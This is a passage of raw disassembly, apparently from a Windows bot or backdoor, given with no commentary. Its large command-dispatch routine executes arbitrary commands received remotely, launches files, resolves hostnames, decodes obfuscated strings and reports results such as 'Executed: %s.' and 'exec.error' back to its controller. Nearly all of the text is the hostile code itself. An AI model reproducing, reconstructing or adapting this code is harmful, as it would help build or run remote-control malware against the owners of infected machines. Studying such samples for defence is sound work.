		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448C92
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D60C9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D60A5
		call	sub_401D0C
		call	edi
		mov	dword_4D60C9, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2980000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		call	near ptr 2970000h
		nop
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E75
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_4478C6
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447864
		mov	ecx, offset dword_448DA0
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_44790F
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44793F
		mov	ecx, offset dword_448DA0
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448DA0
		call	sub_401E5B
		mov	byte_4D60BC, 0
		mov	byte_4E6E74, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E8A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405029
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4019B5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405029:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405147
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_405147:				; CODE XREF: sub_404C70+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40516A
		mov	byte_4D60BC, al
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: sub_404C70+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405431
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F4
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_4051F4:				; CODE XREF: sub_404C70+56Ej
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C7
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A8
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540E
; ---------------------------------------------------------------------------


loc_4052C7:				; CODE XREF: sub_404C70+5CAj
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A8
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4053A8:				; CODE XREF: sub_404C70+5E3j
					; sub_404C70+694j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540E:				; CODE XREF: sub_404C70+652j
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405431:				; CODE XREF: sub_404C70+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405522
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60A5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E75
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405522:				; CODE XREF: sub_404C70+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405690
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_405673
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40562A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405648
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_404C70+99Dj
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405648:				; CODE XREF: sub_404C70+9B8j
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40566E:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_405673:				; CODE XREF: sub_404C70+922j
					; sub_404C70+C70j
		xor	al, al


loc_405675:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_405690:				; CODE XREF: sub_404C70+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405706
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405706:				; CODE XREF: sub_404C70+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F7
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E75
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E75
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60A5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4057F7:				; CODE XREF: sub_404C70+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058CB
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_40585F
		mov	ebx, 7


loc_40585F:				; CODE XREF: sub_404C70+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F60
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058B4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_4058B4:				; CODE XREF: sub_404C70+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4058CB:				; CODE XREF: sub_404C70+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405673
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
